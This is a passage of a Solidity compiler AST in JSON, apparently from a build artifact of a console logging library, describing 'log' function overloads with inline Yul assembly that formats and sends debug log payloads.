132"}],"id":34099,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"14618:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34102,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14618:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34103,"nodeType":"ExpressionStatement","src":"14618:27:22"},{"AST":{"nativeSrc":"14664:156:22","nodeType":"YulBlock","src":"14664:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"14685:4:22","nodeType":"YulLiteral","src":"14685:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"14691:2:22","nodeType":"YulIdentifier","src":"14691:2:22"}],"functionName":{"name":"mstore","nativeSrc":"14678:6:22","nodeType":"YulIdentifier","src":"14678:6:22"},"nativeSrc":"14678:16:22","nodeType":"YulFunctionCall","src":"14678:16:22"},"nativeSrc":"14678:16:22","nodeType":"YulExpressionStatement","src":"14678:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"14714:4:22","nodeType":"YulLiteral","src":"14714:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"14720:2:22","nodeType":"YulIdentifier","src":"14720:2:22"}],"functionName":{"name":"mstore","nativeSrc":"14707:6:22","nodeType":"YulIdentifier","src":"14707:6:22"},"nativeSrc":"14707:16:22","nodeType":"YulFunctionCall","src":"14707:16:22"},"nativeSrc":"14707:16:22","nodeType":"YulExpressionStatement","src":"14707:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"14743:4:22","nodeType":"YulLiteral","src":"14743:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"14749:2:22","nodeType":"YulIdentifier","src":"14749:2:22"}],"functionName":{"name":"mstore","nativeSrc":"14736:6:22","nodeType":"YulIdentifier","src":"14736:6:22"},"nativeSrc":"14736:16:22","nodeType":"YulFunctionCall","src":"14736:16:22"},"nativeSrc":"14736:16:22","nodeType":"YulExpressionStatement","src":"14736:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"14772:4:22","nodeType":"YulLiteral","src":"14772:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"14778:2:22","nodeType":"YulIdentifier","src":"14778:2:22"}],"functionName":{"name":"mstore","nativeSrc":"14765:6:22","nodeType":"YulIdentifier","src":"14765:6:22"},"nativeSrc":"14765:16:22","nodeType":"YulFunctionCall","src":"14765:16:22"},"nativeSrc":"14765:16:22","nodeType":"YulExpressionStatement","src":"14765:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"14801:4:22","nodeType":"YulLiteral","src":"14801:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"14807:2:22","nodeType":"YulIdentifier","src":"14807:2:22"}],"functionName":{"name":"mstore","nativeSrc":"14794:6:22","nodeType":"YulIdentifier","src":"14794:6:22"},"nativeSrc":"14794:16:22","nodeType":"YulFunctionCall","src":"14794:16:22"},"nativeSrc":"14794:16:22","nodeType":"YulExpressionStatement","src":"14794:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34084,"isOffset":false,"isSlot":false,"src":"14691:2:22","valueSize":1},{"declaration":34087,"isOffset":false,"isSlot":false,"src":"14720:2:22","valueSize":1},{"declaration":34090,"isOffset":false,"isSlot":false,"src":"14749:2:22","valueSize":1},{"declaration":34093,"isOffset":false,"isSlot":false,"src":"14778:2:22","valueSize":1},{"declaration":34096,"isOffset":false,"isSlot":false,"src":"14807:2:22","valueSize":1}],"id":34104,"nodeType":"InlineAssembly","src":"14655:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"13751:3:22","parameters":{"id":34081,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34078,"mutability":"mutable","name":"p0","nameLocation":"13763:2:22","nodeType":"VariableDeclaration","scope":34106,"src":"13755:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34077,"name":"bytes32","nodeType":"ElementaryTypeName","src":"13755:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":34080,"mutability":"mutable","name":"p1","nameLocation":"13775:2:22","nodeType":"VariableDeclaration","scope":34106,"src":"13767:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34079,"name":"address","nodeType":"ElementaryTypeName","src":"13767:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"13754:24:22"},"returnParameters":{"id":34082,"nodeType":"ParameterList","parameters":[],"src":"13793:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34136,"nodeType":"FunctionDefinition","src":"14832:1078:22","nodes":[],"body":{"id":34135,"nodeType":"Block","src":"14880:1030:22","nodes":[],"statements":[{"assignments":[34114],"declarations":[{"constant":false,"id":34114,"mutability":"mutable","name":"m0","nameLocation":"14898:2:22","nodeType":"VariableDeclaration","scope":34135,"src":"14890:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34113,"name":"bytes32","nodeType":"ElementaryTypeName","src":"14890:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34115,"nodeType":"VariableDeclarationStatement","src":"14890:10:22"},{"assignments":[34117],"declarations":[{"constant":false,"id":34117,"mutability":"mutable","name":"m1","nameLocation":"14918:2:22","nodeType":"VariableDeclaration","scope":34135,"src":"14910:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34116,"name":"bytes32","nodeType":"ElementaryTypeName","src":"14910:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34118,"nodeType":"VariableDeclarationStatement","src":"14910:10:22"},{"assignments":[34120],"declarations":[{"constant":false,"id":34120,"mutability":"mutable","name":"m2","nameLocation":"14938:2:22","nodeType":"VariableDeclaration","scope":34135,"src":"14930:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34119,"name":"bytes32","nodeType":"ElementaryTypeName","src":"14930:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34121,"nodeType":"VariableDeclarationStatement","src":"14930:10:22"},{"assignments":[34123],"declarations":[{"constant":false,"id":34123,"mutability":"mutable","name":"m3","nameLocation":"14958:2:22","nodeType":"VariableDeclaration","scope":34135,"src":"14950:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34122,"name":"bytes32","nodeType":"ElementaryTypeName","src":"14950:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34124,"nodeType":"VariableDeclarationStatement","src":"14950:10:22"},{"assignments":[34126],"declarations":[{"constant":false,"id":34126,"mutability":"mutable","name":"m4","nameLocation":"14978:2:22","nodeType":"VariableDeclaration","scope":34135,"src":"14970:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34125,"name":"bytes32","nodeType":"ElementaryTypeName","src":"14970:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34127,"nodeType":"VariableDeclarationStatement","src":"14970:10:22"},{"AST":{"nativeSrc":"14999:694:22","nodeType":"YulBlock","src":"14999:694:22","statements":[{"body":{"nativeSrc":"15042:313:22","nodeType":"YulBlock","src":"15042:313:22","statements":[{"nativeSrc":"15060:15:22","nodeType":"YulVariableDeclaration","src":"15060:15:22","value":{"kind":"number","nativeSrc":"15074:1:22","nodeType":"YulLiteral","src":"15074:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"15064:6:22","nodeType":"YulTypedName","src":"15064:6:22","type":""}]},{"body":{"nativeSrc":"15145:40:22","nodeType":"YulBlock","src":"15145:40:22","statements":[{"body":{"nativeSrc":"15174:9:22","nodeType":"YulBlock","src":"15174:9:22","statements":[{"nativeSrc":"15176:5:22","nodeType":"YulBreak","src":"15176:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"15162:6:22","nodeType":"YulIdentifier","src":"15162:6:22"},{"name":"w","nativeSrc":"15170:1:22","nodeType":"YulIdentifier","src":"15170:1:22"}],"functionName":{"name":"byte","nativeSrc":"15157:4:22","nodeType":"YulIdentifier","src":"15157:4:22"},"nativeSrc":"15157:15:22","nodeType":"YulFunctionCall","src":"15157:15:22"}],"functionName":{"name":"iszero","nativeSrc":"15150:6:22","nodeType":"YulIdentifier","src":"15150:6:22"},"nativeSrc":"15150:23:22","nodeType":"YulFunctionCall","src":"15150:23:22"},"nativeSrc":"15147:36:22","nodeType":"YulIf","src":"15147:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"15102:6:22","nodeType":"YulIdentifier","src":"15102:6:22"},{"kind":"number","nativeSrc":"15110:4:22","nodeType":"YulLiteral","src":"15110:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"15099:2:22","nodeType":"YulIdentifier","src":"15099:2:22"},"nativeSrc":"15099:16:22","nodeType":"YulFunctionCall","src":"15099:16:22"},"nativeSrc":"15092:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"15116:28:22","nodeType":"YulBlock","src":"15116:28:22","statements":[{"nativeSrc":"15118:24:22","nodeType":"YulAssignment","src":"15118:24:22","value":{"arguments":[{"name":"length","nativeSrc":"15132:6:22","nodeType":"YulIdentifier","src":"15132:6:22"},{"kind":"number","nativeSrc":"15140:1:22","nodeType":"YulLiteral","src":"15140:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"15128:3:22","nodeType":"YulIdentifier","src":"15128:3:22"},"nativeSrc":"15128:14:22","nodeType":"YulFunctionCall","src":"15128:14:22"},"variableNames":[{"name":"length","nativeSrc":"15118:6:22","nodeType":"YulIdentifier","src":"15118:6:22"}]}]},"pre":{"nativeSrc":"15096:2:22","nodeType":"YulBlock","src":"15096:2:22","statements":[]},"src":"15092:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"15209:3:22","nodeType":"YulIdentifier","src":"15209:3:22"},{"name":"length","nativeSrc":"15214:6:22","nodeType":"YulIdentifier","src":"15214:6:22"}],"functionName":{"name":"mstore","nativeSrc":"15202:6:22","nodeType":"YulIdentifier","src":"15202:6:22"},"nativeSrc":"15202:19:22","nodeType":"YulFunctionCall","src":"15202:19:22"},"nativeSrc":"15202:19:22","nodeType":"YulExpressionStatement","src":"15202:19:22"},{"nativeSrc":"15238:37:22","nodeType":"YulVariableDeclaration","src":"15238:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"15255:3:22","nodeType":"YulLiteral","src":"15255:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"15264:1:22","nodeType":"YulLiteral","src":"15264:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"15267:6:22","nodeType":"YulIdentifier","src":"15267:6:22"}],"functionName":{"name":"shl","nativeSrc":"15260:3:22","nodeType":"YulIdentifier","src":"15260:3:22"},"nativeSrc":"15260:14:22","nodeType":"YulFunctionCall","src":"15260:14:22"}],"functionName":{"name":"sub","nativeSrc":"15251:3:22","nodeType":"YulIdentifier","src":"15251:3:22"},"nativeSrc":"15251:24:22","nodeType":"YulFunctionCall","src":"15251:24:22"},"variables":[{"name":"shift","nativeSrc":"15242:5:22","nodeType":"YulTypedName","src":"15242:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"15303:3:22","nodeType":"YulIdentifier","src":"15303:3:22"},{"kind":"number","nativeSrc":"15308:4:22","nodeType":"YulLiteral","src":"15308:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"15299:3:22","nodeType":"YulIdentifier","src":"15299:3:22"},"nativeSrc":"15299:14:22","nodeType":"YulFunctionCall","src":"15299:14:22"},{"arguments":[{"name":"shift","nativeSrc":"15319:5:22","nodeType":"YulIdentifier","src":"15319:5:22"},{"arguments":[{"name":"shift","nativeSrc":"15330:5:22","nodeType":"YulIdentifier","src":"15330:5:22"},{"name":"w","nativeSrc":"15337:1:22","nodeType":"YulIdentifier","src":"15337:1:22"}],"functionName":{"name":"shr","nativeSrc":"15326:3:22","nodeType":"YulIdentifier","src":"15326:3:22"},"nativeSrc":"15326:13:22","nodeType":"YulFunctionCall","src":"15326:13:22"}],"functionName":{"name":"shl","nativeSrc":"15315:3:22","nodeType":"YulIdentifier","src":"15315:3:22"},"nativeSrc":"15315:25:22","nodeType":"YulFunctionCall","src":"15315:25:22"}],"functionName":{"name":"mstore","nativeSrc":"15292:6:22","nodeType":"YulIdentifier","src":"15292:6:22"},"nativeSrc":"15292:49:22","nodeType":"YulFunctionCall","src":"15292:49:22"},"nativeSrc":"15292:49:22","nodeType":"YulExpressionStatement","src":"15292:49:22"}]},"name":"writeString","nativeSrc":"15013:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"15034:3:22","nodeType":"YulTypedName","src":"15034:3:22","type":""},{"name":"w","nativeSrc":"15039:1:22","nodeType":"YulTypedName","src":"15039:1:22","type":""}],"src":"15013:342:22"},{"nativeSrc":"15368:17:22","nodeType":"YulAssignment","src":"15368:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"15380:4:22","nodeType":"YulLiteral","src":"15380:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"15374:5:22","nodeType":"YulIdentifier","src":"15374:5:22"},"nativeSrc":"15374:11:22","nodeType":"YulFunctionCall","src":"15374:11:22"},"variableNames":[{"name":"m0","nativeSrc":"15368:2:22","nodeType":"YulIdentifier","src":"15368:2:22"}]},{"nativeSrc":"15398:17:22","nodeType":"YulAssignment","src":"15398:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"15410:4:22","nodeType":"YulLiteral","src":"15410:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"15404:5:22","nodeType":"YulIdentifier","src":"15404:5:22"},"nativeSrc":"15404:11:22","nodeType":"YulFunctionCall","src":"15404:11:22"},"variableNames":[{"name":"m1","nativeSrc":"15398:2:22","nodeType":"YulIdentifier","src":"15398:2:22"}]},{"nativeSrc":"15428:17:22","nodeType":"YulAssignment","src":"15428:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"15440:4:22","nodeType":"YulLiteral","src":"15440:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"15434:5:22","nodeType":"YulIdentifier","src":"15434:5:22"},"nativeSrc":"15434:11:22","nodeType":"YulFunctionCall","src":"15434:11:22"},"variableNames":[{"name":"m2","nativeSrc":"15428:2:22","nodeType":"YulIdentifier","src":"15428:2:22"}]},{"nativeSrc":"15458:17:22","nodeType":"YulAssignment","src":"15458:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"15470:4:22","nodeType":"YulLiteral","src":"15470:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"15464:5:22","nodeType":"YulIdentifier","src":"15464:5:22"},"nativeSrc":"15464:11:22","nodeType":"YulFunctionCall","src":"15464:11:22"},"variableNames":[{"name":"m3","nativeSrc":"15458:2:22","nodeType":"YulIdentifier","src":"15458:2:22"}]},{"nativeSrc":"15488:17:22","nodeType":"YulAssignment","src":"15488:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"15500:4:22","nodeType":"YulLiteral","src":"15500:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"15494:5:22","nodeType":"YulIdentifier","src":"15494:5:22"},"nativeSrc":"15494:11:22","nodeType":"YulFunctionCall","src":"15494:11:22"},"variableNames":[{"name":"m4","nativeSrc":"15488:2:22","nodeType":"YulIdentifier","src":"15488:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"15572:4:22","nodeType":"YulLiteral","src":"15572:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"15578:10:22","nodeType":"YulLiteral","src":"15578:10:22","type":"","value":"0xc3b55635"}],"functionName":{"name":"mstore","nativeSrc":"15565:6:22","nodeType":"YulIdentifier","src":"15565:6:22"},"nativeSrc":"15565:24:22","nodeType":"YulFunctionCall","src":"15565:24:22"},"nativeSrc":"15565:24:22","nodeType":"YulExpressionStatement","src":"15565:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"15609:4:22","nodeType":"YulLiteral","src":"15609:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"15615:4:22","nodeType":"YulLiteral","src":"15615:4:22","type":"","value":"0x40"}],"functionName":{"name":"mstore","nativeSrc":"15602:6:22","nodeType":"YulIdentifier","src":"15602:6:22"},"nativeSrc":"15602:18:22","nodeType":"YulFunctionCall","src":"15602:18:22"},"nativeSrc":"15602:18:22","nodeType":"YulExpressionStatement","src":"15602:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"15640:4:22","nodeType":"YulLiteral","src":"15640:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"15646:2:22","nodeType":"YulIdentifier","src":"15646:2:22"}],"functionName":{"name":"mstore","nativeSrc":"15633:6:22","nodeType":"YulIdentifier","src":"15633:6:22"},"nativeSrc":"15633:16:22","nodeType":"YulFunctionCall","src":"15633:16:22"},"nativeSrc":"15633:16:22","nodeType":"YulExpressionStatement","src":"15633:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"15674:4:22","nodeType":"YulLiteral","src":"15674:4:22","type":"","value":"0x60"},{"name":"p0","nativeSrc":"15680:2:22","nodeType":"YulIdentifier","src":"15680:2:22"}],"functionName":{"name":"writeString","nativeSrc":"15662:11:22","nodeType":"YulIdentifier","src":"15662:11:22"},"nativeSrc":"15662:21:22","nodeType":"YulFunctionCall","src":"15662:21:22"},"nativeSrc":"15662:21:22","nodeType":"YulExpressionStatement","src":"15662:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34114,"isOffset":false,"isSlot":false,"src":"15368:2:22","valueSize":1},{"declaration":34117,"isOffset":false,"isSlot":false,"src":"15398:2:22","valueSize":1},{"declaration":34120,"isOffset":false,"isSlot":false,"src":"15428:2:22","valueSize":1},{"declaration":34123,"isOffset":false,"isSlot":false,"src":"15458:2:22","valueSize":1},{"declaration":34126,"isOffset":false,"isSlot":false,"src":"15488:2:22","valueSize":1},{"declaration":34108,"isOffset":false,"isSlot":false,"src":"15680:2:22","valueSize":1},{"declaration":34110,"isOffset":false,"isSlot":false,"src":"15646:2:22","valueSize":1}],"id":34128,"nodeType":"InlineAssembly","src":"14990:703:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34130,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"15718:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":34131,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"15724:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":34129,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"15702:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34132,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15702:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34133,"nodeType":"ExpressionStatement","src":"15702:27:22"},{"AST":{"nativeSrc":"15748:156:22","nodeType":"YulBlock","src":"15748:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"15769:4:22","nodeType":"YulLiteral","src":"15769:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"15775:2:22","nodeType":"YulIdentifier","src":"15775:2:22"}],"functionName":{"name":"mstore","nativeSrc":"15762:6:22","nodeType":"YulIdentifier","src":"15762:6:22"},"nativeSrc":"15762:16:22","nodeType":"YulFunctionCall","src":"15762:16:22"},"nativeSrc":"15762:16:22","nodeType":"YulExpressionStatement","src":"15762:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"15798:4:22","nodeType":"YulLiteral","src":"15798:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"15804:2:22","nodeType":"YulIdentifier","src":"15804:2:22"}],"functionName":{"name":"mstore","nativeSrc":"15791:6:22","nodeType":"YulIdentifier","src":"15791:6:22"},"nativeSrc":"15791:16:22","nodeType":"YulFunctionCall","src":"15791:16:22"},"nativeSrc":"15791:16:22","nodeType":"YulExpressionStatement","src":"15791:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"15827:4:22","nodeType":"YulLiteral","src":"15827:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"15833:2:22","nodeType":"YulIdentifier","src":"15833:2:22"}],"functionName":{"name":"mstore","nativeSrc":"15820:6:22","nodeType":"YulIdentifier","src":"15820:6:22"},"nativeSrc":"15820:16:22","nodeType":"YulFunctionCall","src":"15820:16:22"},"nativeSrc":"15820:16:22","nodeType":"YulExpressionStatement","src":"15820:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"15856:4:22","nodeType":"YulLiteral","src":"15856:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"15862:2:22","nodeType":"YulIdentifier","src":"15862:2:22"}],"functionName":{"name":"mstore","nativeSrc":"15849:6:22","nodeType":"YulIdentifier","src":"15849:6:22"},"nativeSrc":"15849:16:22","nodeType":"YulFunctionCall","src":"15849:16:22"},"nativeSrc":"15849:16:22","nodeType":"YulExpressionStatement","src":"15849:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"15885:4:22","nodeType":"YulLiteral","src":"15885:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"15891:2:22","nodeType":"YulIdentifier","src":"15891:2:22"}],"functionName":{"name":"mstore","nativeSrc":"15878:6:22","nodeType":"YulIdentifier","src":"15878:6:22"},"nativeSrc":"15878:16:22","nodeType":"YulFunctionCall","src":"15878:16:22"},"nativeSrc":"15878:16:22","nodeType":"YulExpressionStatement","src":"15878:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34114,"isOffset":false,"isSlot":false,"src":"15775:2:22","valueSize":1},{"declaration":34117,"isOffset":false,"isSlot":false,"src":"15804:2:22","valueSize":1},{"declaration":34120,"isOffset":false,"isSlot":false,"src":"15833:2:22","valueSize":1},{"declaration":34123,"isOffset":false,"isSlot":false,"src":"15862:2:22","valueSize":1},{"declaration":34126,"isOffset":false,"isSlot":false,"src":"15891:2:22","valueSize":1}],"id":34134,"nodeType":"InlineAssembly","src":"15739:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"14841:3:22","parameters":{"id":34111,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34108,"mutability":"mutable","name":"p0","nameLocation":"14853:2:22","nodeType":"VariableDeclaration","scope":34136,"src":"14845:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34107,"name":"bytes32","nodeType":"ElementaryTypeName","src":"14845:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":34110,"mutability":"mutable","name":"p1","nameLocation":"14862:2:22","nodeType":"VariableDeclaration","scope":34136,"src":"14857:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":34109,"name":"bool","nodeType":"ElementaryTypeName","src":"14857:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"14844:21:22"},"returnParameters":{"id":34112,"nodeType":"ParameterList","parameters":[],"src":"14880:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34166,"nodeType":"FunctionDefinition","src":"15916:1084:22","nodes":[],"body":{"id":34165,"nodeType":"Block","src":"15967:1033:22","nodes":[],"statements":[{"assignments":[34144],"declarations":[{"constant":false,"id":34144,"mutability":"mutable","name":"m0","nameLocation":"15985:2:22","nodeType":"VariableDeclaration","scope":34165,"src":"15977:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34143,"name":"bytes32","nodeType":"ElementaryTypeName","src":"15977:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34145,"nodeType":"VariableDeclarationStatement","src":"15977:10:22"},{"assignments":[34147],"declarations":[{"constant":false,"id":34147,"mutability":"mutable","name":"m1","nameLocation":"16005:2:22","nodeType":"VariableDeclaration","scope":34165,"src":"15997:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34146,"name":"bytes32","nodeType":"ElementaryTypeName","src":"15997:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34148,"nodeType":"VariableDeclarationStatement","src":"15997:10:22"},{"assignments":[34150],"declarations":[{"constant":false,"id":34150,"mutability":"mutable","name":"m2","nameLocation":"16025:2:22","nodeType":"VariableDeclaration","scope":34165,"src":"16017:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34149,"name":"bytes32","nodeType":"ElementaryTypeName","src":"16017:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34151,"nodeType":"VariableDeclarationStatement","src":"16017:10:22"},{"assignments":[34153],"declarations":[{"constant":false,"id":34153,"mutability":"mutable","name":"m3","nameLocation":"16045:2:22","nodeType":"VariableDeclaration","scope":34165,"src":"16037:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34152,"name":"bytes32","nodeType":"ElementaryTypeName","src":"16037:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34154,"nodeType":"VariableDeclarationStatement","src":"16037:10:22"},{"assignments":[34156],"declarations":[{"constant":false,"id":34156,"mutability":"mutable","name":"m4","nameLocation":"16065:2:22","nodeType":"VariableDeclaration","scope":34165,"src":"16057:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34155,"name":"bytes32","nodeType":"ElementaryTypeName","src":"16057:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34157,"nodeType":"VariableDeclarationStatement","src":"16057:10:22"},{"AST":{"nativeSrc":"16086:697:22","nodeType":"YulBlock","src":"16086:697:22","statements":[{"body":{"nativeSrc":"16129:313:22","nodeType":"YulBlock","src":"16129:313:22","statements":[{"nativeSrc":"16147:15:22","nodeType":"YulVariableDeclaration","src":"16147:15:22","value":{"kind":"number","nativeSrc":"16161:1:22","nodeType":"YulLiteral","src":"16161:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"16151:6:22","nodeType":"YulTypedName","src":"16151:6:22","type":""}]},{"body":{"nativeSrc":"16232:40:22","nodeType":"YulBlock","src":"16232:40:22","statements":[{"body":{"nativeSrc":"16261:9:22","nodeType":"YulBlock","src":"16261:9:22","statements":[{"nativeSrc":"16263:5:22","nodeType":"YulBreak","src":"16263:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"16249:6:22","nodeType":"YulIdentifier","src":"16249:6:22"},{"name":"w","nativeSrc":"16257:1:22","nodeType":"YulIdentifier","src":"16257:1:22"}],"functionName":{"name":"byte","nativeSrc":"16244:4:22","nodeType":"YulIdentifier","src":"16244:4:22"},"nativeSrc":"16244:15:22","nodeType":"YulFunctionCall","src":"16244:15:22"}],"functionName":{"name":"iszero","nativeSrc":"16237:6:22","nodeType":"YulIdentifier","src":"16237:6:22"},"nativeSrc":"16237:23:22","nodeType":"YulFunctionCall","src":"16237:23:22"},"nativeSrc":"16234:36:22","nodeType":"YulIf","src":"16234:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"16189:6:22","nodeType":"YulIdentifier","src":"16189:6:22"},{"kind":"number","nativeSrc":"16197:4:22","nodeType":"YulLiteral","src":"16197:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"16186:2:22","nodeType":"YulIdentifier","src":"16186:2:22"},"nativeSrc":"16186:16:22","nodeType":"YulFunctionCall","src":"16186:16:22"},"nativeSrc":"16179:93:22","nodeType":"YulForLoop","post":{